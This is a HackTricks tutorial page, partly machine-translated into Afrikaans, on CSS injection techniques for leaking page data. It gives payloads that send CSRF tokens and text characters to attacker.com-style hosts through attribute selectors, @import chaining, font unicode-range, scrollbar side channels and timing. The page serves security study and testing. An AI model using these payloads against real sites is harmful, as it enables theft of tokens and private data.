CSS Injection
Reading time: 26 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
CSS Injection
Attribuut-selekteerder
CSS selectors word saamgestel om waardes van 'n input
-element se name
- en value
-attribuute te ooreenstem. As die value
-attribuut van die input
-element met 'n spesifieke karakter begin, word 'n voorafbepaalde eksterne hulpbron gelaai:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Hierdie benadering stuit egter op 'n beperking wanneer daar met versteekte input-elemente (type="hidden"
) gewerk word, omdat versteekte elemente nie agtergronde laai nie.
Omseiling vir versteekte elemente
Om hierdie beperking te omseil, kan jy 'n daaropvolgende sibling-element teiken deur die ~
general sibling combinator te gebruik. Die CSS-reƫl word dan op alle sibling-elemente toegepas wat na die versteekte input-element volg, wat veroorsaak dat die agtergrondbeeld gelaai word:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
'n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die verskafde kodefragment uiteengesit. Jy kan dit here.
Vereistes vir CSS Injection
Vir die CSS Injection-tegniek om effektief te wees, moet sekere voorwaardes vervul wees:
- Payload Length: Die CSS-inspuiting-vektor moet genoegsaam lang payloads ondersteun om die vervaardigde selectors te akkommodeer.
- CSS Re-evaluation: Jy moet die vermoë hê om die bladsy in 'n raam te plaas, wat nodig is om die her-evaluering van CSS met nuutgegenereerde payloads te veroorsaak.
- External Resources: Die tegniek veronderstel die vermoƫ om eksterne gehoste beelde te gebruik. Dit mag beperk word deur die webwerf se Content Security Policy (CSP).
Blind Attribuut Selekteerder
As explained in this post, it's possible to combine the selectors :has
and :not
to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Deur dit te kombineer met die volgende @import-tegniek, is dit moontlik om baie info using CSS injection from blind pages with blind-css-exfiltration.
@import
Die vorige tegniek het 'n paar nadele, kyk na die prerequisites. Jy moet óf in staat wees om send multiple links to the victim, óf jy moet in staat wees om iframe the CSS injection vulnerable page.
Daar is egter nog 'n slim tegniek wat CSS @import
gebruik om die kwaliteit van die tegniek te verbeter.
Dit is eers getoon deur Pepe Vila en dit werk soos volg:
In plaas daarvan om dieselfde bladsy weer en weer te laai met honderde verskillende payloads elke keer (soos in die vorige), gaan ons die bladsy net een keer laai en slegs met 'n import na die attackers server (dit is die payload om aan die victim te stuur):
@import url("//attacker.com:5001/start?");
- Die import gaan 'n CSS-skrip ontvang van die attackers en die browser sal dit laai.
- Die eerste deel van die CSS-skrip wat die attacker sal stuur is nog 'n
@import
na die attackers server. - Die attackers server gaan nog nie op hierdie versoek antwoord nie, omdat ons eers 'n paar karakters wil leak en dan hierdie import wil beantwoord met die payload om die volgende te leak.
- Die tweede en groter deel van die payload gaan 'n attribute selector leakage payload wees
- Dit sal na die attackers server stuur die eerste char van die geheim en die laaste een
- Sodra die attackers server die eerste en laaste char van die geheim ontvang het, sal dit antwoord op die import versoek in stap 2.
- Die reaksie gaan presies dieselfde wees as die stappe 2, 3 en 4, maar hierdie keer sal dit probeer om die tweede char van die geheim en dan die voorlaaste te vind.
Die attacker sal daardie lus volg totdat dit daarin slaag om die geheim heeltemal te leak.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
tip
Die script sal probeer om elke keer 2 chars te ontdek (van die begin en van die einde) omdat die attribute selector toelaat om dinge soos:
/* value^= to match the beggining of the value*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= to match the ending of the value*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
Dit laat die script toe om die geheim vinniger te leak.
warning
Soms detecteer die script nie korrek dat die prefix + suffix wat ontdek is reeds die volledige vlag is nie en dit sal voortgaan vorentoe (in die prefix) en agtertoe (in die suffix) en op 'n stadium sal dit vasloop.
Moenie bekommerd wees nie, kyk net na die output want jy kan die vlag daar sien.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: beheer 'n element se style attribute en verseker dat die teiken-attribute op dieselfde element is (attr() lees slegs same-element attributes).
- Read: kopieer die attribute na 'n CSS-variabele:
--val: attr(title)
. - Decide: kies 'n URL met geneste conditionals wat die veranderlike met string-kandidate vergelyk:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: pas
background: image-set(var(--steal))
toe (of enige ander fetching property) om 'n versoek na die gekose endpoint te dwing.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Werkende payload (dubbele aanhalingstekens vereis in die vergelyking):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Opnoem van attribuutwaardes met geneste voorwaardes:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Realistiese demo (probing usernames):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Aantekeninge en beperkinge:
- Werk op Chromium-based blaaiers ten tyde van die navorsing; gedrag kan op ander engines verskil.
- Beste geskik vir eindige/enumereerbare waarderuimtes (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets bly uitdagend.
- Enige CSS property wat 'n URL fetch kan gebruik word om die versoek te trigger (e.g., background/image-set, border-image, list-style, cursor, content).
Automatisering: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Ander selectors
Ander maniere om toegang tot DOM-dele te kry met CSS selectors:
.class-to-search:nth-child(2)
: Dit sal die tweede item met class "class-to-search" in die DOM soek.:empty
selector: Byvoorbeeld gebruik in this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
Verwysing: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Die algemene bedoeling is om 'n custom font vanaf 'n controlled endpoint te gebruik en te verseker dat teks (in hierdie geval, 'A') slegs met hierdie font vertoon word indien die gespesifiseerde resource (favicon.ico
) nie gelaai kan word nie.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Gebruik van Pasgemaakte Lettertipe:
- ān Pasgemaakte lettertipe word gedefinieer met die
@font-face
reĆ«l binne ān<style>
-etiket in die<head>
-afdeling. - Die lettertipe het die naam
poc
en word van ān eksterne eindpunt opgehaal (http://attacker.com/?leak
). - Die
unicode-range
eienskap is gestel opU+0041
, en mik op die spesifieke Unicode-karakter 'A'.
- Object-element met fallback-tekst:
- ān
<object>
-element metid="poc0"
word in die<body>
-afdeling geskep. Hierdie element probeer ān hulpbron vanhttp://192.168.0.1/favicon.ico
laai. - Die
font-family
vir hierdie element is op'poc'
gestel, soos in die<style>
-afdeling gedefinieer. - As die hulpbron (
favicon.ico
) nie gelaai kan word nie, word die fallback-inhoud (die letter 'A') binne die<object>
-etiket vertoon. - Die fallback-inhoud ('A') sal met die pasgemaakte lettertipe
poc
vertoon word indien die eksterne hulpbron nie gelaai kan word nie.
Stylering van Scroll-to-Text Fragment
Die :target
pseudo-klas word gebruik om ān element te kies wat deur ān URL fragment geteiken is, soos gespesifiseer in die CSS Selectors Level 4 specification. Dit is belangrik om te verstaan dat ::target-text
nie by enige elemente pas nie, tensy die teks eksplisiet deur die fragment geteiken word.
Daar ontstaan ān sekuriteitsprobleem wanneer aanvallers die Scroll-to-text fragment-funksie misbruik, wat hulle toelaat om die teenwoordigheid van spesifieke teks op ān webblad te bevestig deur ān hulpbron vanaf hul bediener te laai via HTML injection. Die metode behels die inspuiting van ān CSS-reĆ«l soos hierdie:
:target::before {
content: url(target.png);
}
In sulke scenario's, as die teks "Administrator" op die bladsy teenwoordig is, word die hulpbron target.png
vanaf die bediener aangevra, wat die teenwoordigheid van die teks aandui. 'n Voorbeeld van hierdie aanval kan uitgevoer word deur 'n spesiaal saamgestelde URL wat die geĆÆnjekteerde CSS saam met 'n Scroll-to-text fragment insluit:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Hier manipuleer die aanval HTML-inspuiting om die CSS-kode oor te dra, gerig op die spesifieke teks "Administrator" deur die Scroll-to-text fragment (#:~:text=Administrator
). As die teks gevind word, word die aangeduide hulpbron gelaai, wat per ongeluk sy teenwoordigheid aan die aanvaller aandui.
Vir mitigering moet die volgende punte in ag geneem word:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te ooreenstem, en beperk sodoende sy vermoƫ om ewekansige geheime of tokens te leak.
- Restriction to Top-level Browsing Contexts: STTF werk slegs in topvlak-blaaikontekste en funksioneer nie binne iframes nie, wat enige eksploitasiepoging meer sigbaar vir die gebruiker maak.
- Necessity of User Activation: STTF vereis 'n user-activation gesture om te funksioneer, wat beteken dat eksploitasies slegs deur gebruiker-geĆÆnisieerde navigasies moontlik is. Hierdie vereiste verminder aansienlik die risiko dat aanvalle geoutomatiseer word sonder gebruikersinteraksie. Nietemin wys die blogpost se outeur op spesifieke toestande en omseilings (bv. social engineering, interaksie met algemene browser extensions) wat die automatisering van die aanval kan vergemaklik.
Bewustheid van hierdie meganismes en potensiƫle kwesbaarhede is noodsaaklik om websekuriteit te handhaaf en te beskerm teen sulke eksploitatiewe taktieke.
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Jy kan 'n exploit using this technique for a CTF here sien.
@font-face / unicode-range
Jy kan spesifiseer eksterne fonte vir spesifieke unicode-waardes wat slegs gelaai word as daardie unicode-waardes in die bladsy teenwoordig is. For example:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
Wanneer jy hierdie bladsy besoek, haal Chrome en Firefox "?A" en "?B" omdat die teksnode van sensitive-information die karakters "A" en "B" bevat. Chrome en Firefox haal egter nie "?C" nie omdat dit nie "C" bevat. Dit beteken dat ons "A" en "B" kon lees.
Text node exfiltration (I): ligatures
Verwysing: Wykradanie danych w Åwietnym stylu ā czyli jak wykorzystaÄ CSS-y do ataków na webaplikacjÄ
Die beskryfde tegniek behels die onttrekking van teks uit 'n node deur font ligatures uit te buit en veranderinge in breedte te monitor. Die proses bestaan uit verskeie stappe:
- Creation of Custom Fonts:
- SVG fonts word geskep met glyphs wat 'n
horiz-adv-x
attribuut het, wat 'n groot breedte instel vir 'n glyph wat 'n twee-karakter sekwensie verteenwoordig. - Example SVG glyph:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, waar "XY" 'n twee-karakter sekwensie aandui. - Hierdie fonts word daarna na woff-formaat omskep met fontforge.
- Detection of Width Changes:
- CSS word gebruik om te verseker dat teks nie ombreek nie (
white-space: nowrap
) en om die scrollbar-styl aan te pas. - Die verskyning van 'n horisontale scrollbar, wat duidelik gestileer is, dien as 'n aanwyser (oracle) dat 'n spesifieke ligature, en dus 'n spesifieke karaktersekwensie, in die teks teenwoordig is.
- Die betrokke CSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Exploit Process:
- Step 1: Fonts word geskep vir pare karakters met 'n aansienlike breedte.
- Step 2: 'n scrollbar-gebaseerde truuk word gebruik om te raak wanneer die groot breedte-glyph (ligature vir 'n karakterpaar) gerender word, wat aandui dat die karaktersekwensie teenwoordig is.
- Step 3: Nadat 'n ligature opgespoor is, word nuwe glyphs geskep wat drie-karakter sekwensies voorstel, deur die opgesporen paar te kombineer met 'n voorafgaande of opvolgende karakter.
- Step 4: Opsporing van die drie-karakter ligature word uitgevoer.
- Step 5: Die proses herhaal, en openbaar stelselmatig die volledige teks.
- Optimization:
- Die huidige inisialisasiemetode wat
<meta refresh=...
gebruik, is nie optimaal nie. - 'n Meer doeltreffende benadering kan die CSS
@import
truuk insluit, wat die exploit se prestasie verbeter.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Verwysing: PoC using Comic Sans by @Cgvwzq & @Terjanq
Hierdie truuk is vrygestel in hierdie Slackers thread. Die charset wat in 'n teksnode gebruik word kan leaked word deur die default fonts wat in die blaaier geĆÆnstalleer is: geen eksterne of pasgemaakte fonts is nodig nie.
Die konsep draai om die gebruik van 'n animasie om 'n div
se breedte stelselmatig uit te brei, waardeur een karakter op 'n slag kan verskuif van die 'suffix' deel van die teks na die 'prefix' deel. Hierdie proses deel die teks effektief in twee afdelings:
- Prefix: Die aanvanklike reƫl.
- Suffix: Die daaropvolgende reƫl(e).
Die oorgangstadia van die karakters sal soos volg verskyn:
C
ADB
CA
DB
CAD
B
CADB
Gedurende hierdie oorgang word die unicode-range trick gebruik om elke nuwe karakter te identifiseer soos dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te skakel, wat aansienlik hoƫr is as die standaardfont, en gevolglik 'n vertikale scrollbar aktiveer. Die verskyning van hierdie scrollbar openbaar indirek die teenwoordigheid van 'n nuwe karakter in die prefix.
Alhoewel hierdie metode die opsporing van unieke karakters soos hulle verskyn toelaat, spesifiseer dit nie watter karakter herhaal word nie ā net dat 'n herhaling plaasgevind het.
tip
Basies word die unicode-range gebruik om 'n char te identifiseer, maar aangesien ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.
Wanneer die char gevind word, kry dit die vooraf-geĆÆnstalleerde Comic Sans font, wat die char groter maak en 'n scroll bar trigger, wat die gevonde char leak.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset met 'n verstek-lettertipe deur elemente te versteek (vereis nie eksterne assets nie)
Verwysing: This is mentioned as an unsuccessful solution in this writeup
Hierdie geval is baie soortgelyk aan die vorige; in hierdie geval is die doel om spesifieke chars groter as ander te maak om iets te versteek soos 'n knop sodat dit nie deur die bot gedruk word nie of 'n image wat nie gelaai sal word nie. Ons kan dus die aksie (of die gebrek aan die aksie) meet en weet of 'n spesifieke char in die teks teenwoordig is.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Verwysing: This is mentioned as an unsuccessful solution in this writeup
In hierdie geval kan ons probeer leak of 'n char in die teks is deur 'n fake font van dieselfde origin te laai:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
As daar 'n ooreenkoms is, sal die font vanaf /static/bootstrap.min.css?q=1
gelaai word. Al sal dit nie suksesvol laai nie, behoort die browser dit te cache, en selfs as daar geen cache is nie, is daar 'n 304 not modified-meganisme, so die respons behoort vinniger te wees as ander dinge.
As die tydsverskil tussen die gecachte respons en die nie-gecachte een nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur noem: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1
flag, which is really thoughtful.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
Verwysing: This is mentioned as an unsuccessful solution in this writeup
In hierdie geval kan jy CSS gebruik om honderde fake fonts te laai vanaf dieselfde oorsprong wanneer 'n match plaasvind. Op hierdie manier kan jy die tyd meet wat dit neem en uitvind of 'n char verskyn of nie met iets soos:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
En die bot se code lyk soos volg:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
So, as die font nie ooreenstem nie, word verwag dat die reaksietyd wanneer die bot besoek word ongeveer 30 sekondes sal wees. As daar egter 'n font-ooreenstemming is, sal verskeie versoeke gestuur word om die font op te haal, wat voortdurende netwerkaktiwiteit veroorsaak. Gevolglik sal dit langer neem om aan die stopvoorwaarde te voldoen en die reaksie te ontvang. Daarom kan die reaksietyd as 'n aanduiding gebruik word om te bepaal of daar 'n font-ooreenstemming is.
Verwysings
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.